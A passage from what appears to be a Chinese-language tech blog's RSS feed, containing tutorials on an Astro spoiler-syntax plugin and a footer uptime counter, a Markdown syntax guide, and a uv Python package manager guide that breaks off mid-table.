            value: `&amp;lt;span class=&quot;spoiler&quot;&amp;gt;${spoilerText}&amp;lt;/span&amp;gt;`,
          })

          lastIndex = matchEnd
        }

        if (lastIndex &amp;lt; node.value.length) {
          newNodes.push({
            type: &apos;text&apos;,
            value: node.value.slice(lastIndex),
          })
        }

        parent.children.splice(index, 1, ...newNodes)
      }
    })
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;⚙️ 步驟 2：在 Astro 中註冊插件&lt;/h3&gt;
&lt;p&gt;打開你的 &lt;code&gt;astro.config.mjs&lt;/code&gt;，並加上這段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { defineConfig } from &apos;astro/config&apos;
import remarkSpoiler from &apos;./src/plugins/remarkSpoiler.js&apos; // 路徑根據你的檔案位置調整

export default defineConfig({
  markdown: {
    remarkPlugins: [remarkSpoiler],
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那邊應該會長這樣，直接在最後加上就好：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;remarkPlugins: [remarkMath, remarkReadingTime, remarkExcerpt, remarkGithubAdmonitionsToDirectives, remarkDirective, parseDirectiveNode,remarkSpoiler ],
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ 記得重新啟動 Astro 開發伺服器：&lt;code&gt;pnpm dev&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;🎨 步驟 3：加入防雷效果的 CSS&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;src/styles/global.css&lt;/code&gt; 中加入以下樣式（如果沒有這個檔案，可以自己創一個）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.spoiler {
  background-color: #000;
  color: transparent;
  border-radius: 4px;
  padding: 0 4px;
  cursor: pointer;
  transition: color 0.3s ease;
}

.spoiler:hover {
  color: #fff;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;✅ 使用範例&lt;/h3&gt;
&lt;p&gt;現在，你就可以在 Markdown 檔案中直接使用這樣的語法了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;這是一段正常文字，其中包含 ||這是防雷內容||，滑過才能看到。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;渲染後的效果會變成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;這是一段正常文字，其中包含 &amp;lt;span class=&quot;spoiler&quot;&amp;gt;這是防雷內容&amp;lt;/span&amp;gt;，滑過才能看到。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;||這是效果||&lt;/p&gt;
&lt;h2&gt;在頁腳處新增網站存在時間&lt;/h2&gt;
&lt;p&gt;先看效果
&lt;img src=&quot;https://i.imgur.com/ZFUZZMh.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;🔧1.先創建時間的組件&lt;/h3&gt;
&lt;p&gt;新增一個檔案&lt;code&gt;src/components/SiteRuntime.astro&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
const startDate = new Date(&apos;2023-01-01&apos;) // 替換為您的網站實際上線日期
---

&amp;lt;div id=&quot;site-runtime&quot; class=&quot;text-sm opacity-75 dark:text-white text-black&quot;&amp;gt;
  網站已運行：&amp;lt;span id=&quot;runtime-counter&quot;&amp;gt;計算中...&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;
  function updateRuntime() {
    const startDate = new Date(&apos;2023-01-01&apos;) // 替換為您的網站實際上線日期
    const currentDate = new Date()

    const timeDiff = currentDate.getTime() - startDate.getTime()

    let seconds = Math.floor(timeDiff / 1000)
    let minutes = Math.floor(seconds / 60)
    let hours = Math.floor(minutes / 60)
    let days = Math.floor(hours / 24)

    const years = Math.floor(days / 365)
    const months = Math.floor((days % 365) / 30)
    days = days % 30
    hours = hours % 24
    minutes = minutes % 60
    seconds = seconds % 60

    let runtimeText = &apos;&apos;

    if (years &amp;gt; 0) {
      runtimeText += `${years} 年 `
    }

    if (months &amp;gt; 0 || years &amp;gt; 0) {
      runtimeText += `${months} 個月 `
    }

    runtimeText += `${days} 天 ${hours} 時 ${minutes} 分 ${seconds} 秒`

    document.getElementById(&apos;runtime-counter&apos;).textContent = runtimeText
  }

  updateRuntime()
  setInterval(updateRuntime, 1000)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;⚙️2. 在頁腳引入這個組件&lt;/h3&gt;
&lt;p&gt;可能是在 &lt;code&gt;src\layouts\MainGridLayout.astro&lt;/code&gt;中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
import SiteRuntime from &apos;../components/SiteRuntime.astro&apos;
// 其他導入...
---

&amp;lt;!-- 您的頁腳部分 --&amp;gt;
&amp;lt;footer class=&quot;mt-8 py-6 border-t border-gray-200 dark:border-gray-700&quot;&amp;gt;
  &amp;lt;div class=&quot;container mx-auto px-4&quot;&amp;gt;
    &amp;lt;div class=&quot;flex flex-col items-center justify-center text-center&quot;&amp;gt;
      &amp;lt;div class=&quot;mb-2&quot;&amp;gt;
        &amp;lt;SiteRuntime /&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;text-sm opacity-75 dark:text-white text-black&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/footer&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>astro</category><category>plugin</category><category>Blog</category><author>CHIEN (qian)</author></item><item><title>Markdown 完整教學指南:語法、範例與實用技巧一次掌握</title><link>https://blog.chien.dev/posts/markdown/</link><guid isPermaLink="true">https://blog.chien.dev/posts/markdown/</guid><description>從基礎到進階的 Markdown 完整教學!包含標題、列表、表格、程式碼區塊、數學公式等等的語法範例。適合部落格撰寫、README 文件、筆記軟體使用者學習,讓你 10 分鐘快速上手 Markdown 輕量級標記語言。</description><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;::::note
如果這篇文章有任何缺漏，歡迎指正！
::::&lt;/p&gt;
&lt;h2&gt;Markdown 是什麼!&lt;/h2&gt;
&lt;p&gt;Markdown 是一種輕量級標記語言，它以易讀易寫的純文字格式撰寫文件，並轉換為其他格式！Markdown 的設計理念是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;易讀易寫，讓人可以輕易閱讀並且專注於內容本身。&lt;/li&gt;
&lt;li&gt;格式轉換簡單，易於在不同平台之間轉換。&lt;/li&gt;
&lt;li&gt;可讀性高，易於閱讀和維護。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Markdown 的使用場景&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;某些Blog生成器會使用Markdown來撰寫文章&lt;/li&gt;
&lt;li&gt;專案的README文件&lt;/li&gt;
&lt;li&gt;某些筆記軟體&lt;/li&gt;
&lt;li&gt;社交軟體或是一些論壇發文時會用到&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Markdown 跟 HTML 的差別&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Markdown 比 HTML 更易讀易寫。&lt;/li&gt;
&lt;li&gt;Markdown 比 HTML 更易於在不同平台之間轉換。&lt;/li&gt;
&lt;li&gt;Markdown 比 HTML 更易於閱讀和維護。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;語法比較&lt;/h4&gt;
&lt;p&gt;兩個大標題分別的語法會是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Hello World&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Hello World
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以可以很輕易的看出來！ Markdown 對人類來說比 HTML 更易讀易寫!&lt;/p&gt;
&lt;h2&gt;語法範例！&lt;/h2&gt;
&lt;h3&gt;標題&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 標題1
## 標題2
### 標題3
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;列表&lt;/h3&gt;
&lt;p&gt;列表分為無序列表還有有序列表，區別就是有沒有數字順序&lt;/p&gt;
&lt;h4&gt;無序列表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;- 列表1
- 列表2
- 列表3
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;列表1&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;有序列表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1. 列表1
2. 列表2
3. 列表3
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;列表1&lt;/li&gt;
&lt;li&gt;列表2&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;引用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; 引用
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;引用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;連結&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[連結](https://www.google.com)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&amp;amp;list=RDdQw4w9WgXcQ&amp;amp;start_radio=1&quot;&gt;連結&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;圖片&lt;/h3&gt;
&lt;p&gt;引用圖片的方式跟連結的方式幾乎一樣，只是前面多了一個驚嘆號&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![圖片](https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;粗體&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;**粗體**
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;粗體&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;斜體&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;_斜體_
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;斜體&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;刪除線&lt;/h3&gt;
&lt;p&gt;刪除線在內容的開頭以及結尾各加上兩個波浪符號，請注意不要用到全型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~~刪除線~~
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;刪除線&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;防雷海苔&lt;/h3&gt;
&lt;p&gt;防雷海苔的語法是在內容的開頭以及結尾各加上兩個 | 符號，請注意不要用到全型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;||防雷海苔||
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;||防雷海苔||&lt;/p&gt;
&lt;h3&gt;程式碼&lt;/h3&gt;
&lt;p&gt;程式碼區塊有分兩種，一種是行內程式碼，一種是程式碼區塊&lt;/p&gt;
&lt;h4&gt;程式碼區塊&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;```程式語言名稱
程式碼內容
```
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;print(&quot;Hello, World!&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;行內程式碼&lt;/h4&gt;
&lt;p&gt;行內程式碼適合在文字中插入簡短的程式碼片段，使用單個反引號包圍：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;`行內程式碼`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;行內程式碼&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;表格&lt;/h3&gt;
&lt;p&gt;表格稍微複雜一點，但是只要記住格式就很簡單了&lt;/p&gt;
&lt;h4&gt;基本表格&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;| 標題1 | 標題2 | 標題3 |
| ----- | ----- | ----- |
| 內容1 | 內容2 | 內容3 |
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;標題1&lt;/th&gt;
&lt;th&gt;標題2&lt;/th&gt;
&lt;th&gt;標題3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;內容1&lt;/td&gt;
&lt;td&gt;內容2&lt;/td&gt;
&lt;td&gt;內容3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;表格對齊&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;| 左對齊 | 置中對齊 | 右對齊 |
| :----- | :------: | -----: |
| 內容   |   內容   |   內容 |
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;左對齊&lt;/th&gt;
&lt;th&gt;置中對齊&lt;/th&gt;
&lt;th&gt;右對齊&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;內容&lt;/td&gt;
&lt;td&gt;內容&lt;/td&gt;
&lt;td&gt;內容&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;分隔線&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;---
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;任務列表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- [ ] TODO1
- [x] TODO2
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;[ ] TODO1&lt;/li&gt;
&lt;li&gt;[x] TODO2&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;嵌套列表&lt;/h3&gt;
&lt;p&gt;列表可以有多層嵌套，使用縮排來表示層級：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 第一層項目
   - 第二層項目
   - 第二層項目
     - 第三層項目
2. 第一層項目
   1. 第二層數字項目
   2. 第二層數字項目
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第一層項目
&lt;ul&gt;
&lt;li&gt;第二層項目&lt;/li&gt;
&lt;li&gt;第二層項目
&lt;ul&gt;
&lt;li&gt;第三層項目&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;第一層項目
&lt;ol&gt;
&lt;li&gt;第二層數字項目&lt;/li&gt;
&lt;li&gt;第二層數字項目&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;數學公式&lt;/h3&gt;
&lt;p&gt;本網站支援 LaTeX 數學公式，使用 KaTeX 渲染：&lt;/p&gt;
&lt;h4&gt;行內公式&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;$E = mc^2$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt; $E = mc^2$&lt;/p&gt;
&lt;h4&gt;區塊公式&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;$$
\sum_{i=1}^{n} x_i = x_1 + x_2 + \cdots + x_n
$$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;
$$
\sum_{i=1}^{n} x_i = x_1 + x_2 + \cdots + x_n
$$&lt;/p&gt;
&lt;h3&gt;換行&lt;/h3&gt;
&lt;p&gt;Markdown 中有幾種換行方式：&lt;/p&gt;
&lt;h4&gt;段落換行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;第一段

第二段（中間空一行）
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;強制換行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;第一行（行末加兩個空格）  
第二行

或使用 HTML 標籤：
第一行&amp;lt;br&amp;gt;第二行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;
第一行（行末加兩個空格）&lt;br /&gt;
第二行&lt;/p&gt;
&lt;p&gt;或使用 HTML 標籤：
第一行&amp;lt;br&amp;gt;第二行&lt;/p&gt;
&lt;h3&gt;轉義字符&lt;/h3&gt;
&lt;p&gt;想要顯示 Markdown 特殊字符本身時，使用反斜線轉義：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\* 這不會變成列表
\# 這不會變成標題
\` 這不會變成程式碼
\[不會變成連結\]
\**不會變成粗體\**
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;&lt;br /&gt;
* 這不會變成列表&lt;br /&gt;
# 這不會變成標題&lt;br /&gt;
` 這不會變成程式碼&lt;br /&gt;
[不會變成連結]&lt;br /&gt;
*&lt;em&gt;不會變成粗體*&lt;/em&gt;&lt;/p&gt;
</content:encoded><category>Markdown</category><category>教學</category><category>語法</category><author>CHIEN (qian)</author></item><item><title>uv 完全指南：極速 Python 套件與專案管理工具。</title><link>https://blog.chien.dev/posts/uv_01/</link><guid isPermaLink="true">https://blog.chien.dev/posts/uv_01/</guid><description>uv 是一個用 Rust 編寫的極速 Python 包和專案管理器，比 pip 快 10-100 倍！一個工具取代 pip、pip-tools、pipx、poetry、pyenv、virtualenv 等多種工具。</description><pubDate>Mon, 24 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;uv：極速 Python 套件與專案管理工具&lt;/h1&gt;
&lt;p&gt;:::tip
&lt;strong&gt;已經在使用 uv 了嗎？&lt;/strong&gt;&lt;br /&gt;
如果你只是忘記在某些場景下該怎麼下命令，可以直接跳到 &lt;a href=&quot;#%E5%B8%B8%E8%A6%8B%E5%A0%B4%E6%99%AF&quot;&gt;常見場景&lt;/a&gt; 章節快速查找！
如果是忘記指令怎麼下，請直接跳到 &lt;a href=&quot;#%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E9%80%9F%E6%9F%A5&quot;&gt;常用命令速查&lt;/a&gt; 章節快速查找！
:::&lt;/p&gt;
&lt;h2&gt;什麼是 uv？&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;uv&lt;/code&gt; 是一個用 &lt;strong&gt;Rust&lt;/strong&gt; 編寫的極速 Python 包和專案管理器，由 &lt;a href=&quot;https://astral.sh&quot;&gt;Astral&lt;/a&gt; 開發（也就是創造了超快 Python Linter &lt;a href=&quot;https://github.com/astral-sh/ruff&quot;&gt;Ruff&lt;/a&gt; 的那個團隊！）。&lt;/p&gt;
&lt;p&gt;簡單來說，uv 就是一個&lt;strong&gt;超級快速&lt;/strong&gt;的 Python 工具，並且下載套件時支援多線程下載，可以幫你管理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;📦 Python 套件（取代 pip）&lt;/li&gt;
&lt;li&gt;🗂️ 專案依賴（取代 poetry）&lt;/li&gt;
&lt;li&gt;🔧 開發工具（取代 pipx）&lt;/li&gt;
&lt;li&gt;🐍 Python 版本（取代 pyenv）&lt;/li&gt;
&lt;li&gt;🌐 虛擬環境（取代 virtualenv）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;號稱比傳統的 &lt;code&gt;pip&lt;/code&gt; &lt;strong&gt;快 10-100 倍&lt;/strong&gt;！&lt;/p&gt;
&lt;h2&gt;安裝 uv&lt;/h2&gt;
&lt;h3&gt;macOS / Linux&lt;/h3&gt;
&lt;p&gt;使用官方獨立安裝程式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl -LsSf https://astral.sh/uv/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;使用 PowerShell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; powershell -ExecutionPolicy ByPass -c &quot;irm https://astral.sh/uv/install.ps1 | iex&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;其他安裝方式&lt;/h3&gt;
&lt;p&gt;uv 也可以通過以下方式安裝：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 pip
pip install uv

# 使用 Homebrew (macOS)
brew install uv

# 使用 pipx
pipx install uv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安裝完成後，可以執行以下命令確認安裝成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv --version
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;專案管理&lt;/h2&gt;
&lt;p&gt;uv 可以管理專案依賴項和環境，支援鎖文件、工作區等，類似於 &lt;code&gt;poetry&lt;/code&gt; 或 &lt;code&gt;rye&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;創建新專案&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv init example
Initialized project `example` at `/home/user/example`

$ cd example
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;添加依賴&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv add ruff
Creating virtual environment at: .venv
Resolved 2 packages in 170ms
Built example @ file:///home/user/example
Prepared 2 packages in 627ms
Installed 2 packages in 1ms
  + example==0.1.0 (from file:///home/user/example)
  + ruff==0.5.4
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;運行程式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv run ruff check
All checks passed!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;鎖定依賴&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv lock
Resolved 2 packages in 0.33ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;同步環境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv sync
Resolved 2 packages in 0.70ms
Audited 1 package in 0.02ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;腳本管理&lt;/h2&gt;
&lt;p&gt;uv 可以管理單文件腳本的依賴項和環境，這對於快速編寫小工具非常有用！&lt;/p&gt;
&lt;h3&gt;創建腳本並添加依賴&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ echo &apos;import requests; print(requests.get(&quot;https://astral.sh&quot;))&apos; &amp;gt; example.py

$ uv add --script example.py requests
Updated `example.py`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這會在 &lt;code&gt;example.py&lt;/code&gt; 頂部添加內聯元數據來聲明依賴。&lt;/p&gt;
&lt;h3&gt;運行腳本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv run example.py
Reading inline script metadata from: example.py
Installed 5 packages in 12ms
&amp;lt;Response [200]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;uv 會自動創建隔離的虛擬環境來運行腳本，不會污染全局環境！&lt;/p&gt;
&lt;h2&gt;工具管理&lt;/h2&gt;
&lt;p&gt;uv 可以執行和安裝由 Python 包提供的命令行工具，類似於 &lt;code&gt;pipx&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;臨時運行工具&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;uvx&lt;/code&gt;（&lt;code&gt;uv tool run&lt;/code&gt; 的別名）在臨時環境中運行工具：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;什麼是臨時環境？&lt;/strong&gt;&lt;br /&gt;
臨時環境是指 uv 會為這個工具創建一個獨立的虛擬環境，運行完畢後就會自動清理，不會在你的系統中留下任何痕跡。這樣你就可以快速試用工具，而不用擔心污染系統環境或與其他套件版本衝突！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ uvx pycowsay &apos;hello world!&apos;
Resolved 1 package in 167ms
Installed 1 package in 9ms
  + pycowsay==0.0.0.2
  ------------
&amp;lt; hello world! &amp;gt;
  ------------
   \   ^__^
    \  (oo)\_______
       (__)\       )\/\
           ||----w |
           ||     ||
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安裝工具&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv tool install ruff
Resolved 1 package in 6ms
Installed 1 package in 2ms
  + ruff==0.5.4
Installed 1 executable: ruff

$ ruff --version
ruff 0.5.4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Python 版本管理&lt;/h2&gt;
&lt;p&gt;uv 可以安裝 Python 並允許在版本之間快速切換，取代 &lt;code&gt;pyenv&lt;/code&gt; 的功能。&lt;/p&gt;
&lt;h3&gt;安裝多個 Python 版本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv python install 3.10 3.11 3.12
Searching for Python versions matching: Python 3.10
Searching for Python versions matching: Python 3.11
Searching for Python versions matching: Python 3.12
Installed 3 versions in 3.42s
  + cpython-3.10.14-macos-aarch64-none
  + cpython-3.11.9-macos-aarch64-none
  + cpython-3.12.4-macos-aarch64-none
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;創建指定版本的虛擬環境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv venv --python 3.12.0
Using CPython 3.12.0
Creating virtual environment at: .venv
Activate with: source .venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;運行特定 Python 版本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv run --python pypy@3.8 -- python
Python 3.8.16 (a9dbdca6fc3286b0addd2240f11d97d8e8de187a, Dec 29 2022, 11:45:30)
[PyPy 7.3.11 with GCC Apple LLVM 13.1.6 (clang-1316.0.21.2.5)] on darwin
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&amp;gt;&amp;gt;&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;固定專案 Python 版本&lt;/h3&gt;
&lt;p&gt;在當前目錄中使用特定的 Python 版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv python pin 3.11
Pinned `.python-version` to `3.11`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這會創建一個 &lt;code&gt;.python-version&lt;/code&gt; 文件，uv 會自動使用這個版本。&lt;/p&gt;
&lt;h2&gt;pip 兼容接口&lt;/h2&gt;
&lt;p&gt;如果你已經習慣使用 &lt;code&gt;pip&lt;/code&gt;，uv 提供了兼容的命令，讓你無縫遷移！&lt;/p&gt;
&lt;h3&gt;創建虛擬環境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv venv
Using CPython 3.12.3
Creating virtual environment at: .venv
Activate with: source .venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;關閉虛擬環境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv venv deactivate
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;編譯需求文件&lt;/h3&gt;
&lt;p&gt;將需求編譯為平台無關的需求文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv pip compile requirements.in \
    --universal \
    --output-file requirements.txt
Resolved 43 packages in 12ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安裝套件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv pip install requests
Resolved 5 packages in 12ms
Installed 5 packages in 23ms
  + certifi==2024.7.4
  + charset-normalizer==3.3.2
  + idna==3.7
  + requests==2.32.3
  + urllib3==2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;同步需求&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv pip sync requirements.txt
Resolved 43 packages in 11ms
Installed 43 packages in 208ms
  + babel==2.15.0
  + black==24.4.2
  + certifi==2024.7.4
  ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;常用命令速查&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;uv 命令&lt;/th&gt;
&lt;th&gt;傳統工具&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;創建專案&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv init &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;添加依賴&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv add &amp;lt;package&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry add&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;移除依賴&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv remove &amp;lt;package&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry remove&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安裝套件&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv pip install &amp;lt;package&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;創建虛擬環境&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv venv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;python -m venv&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;運行程式&lt;/td&gt;
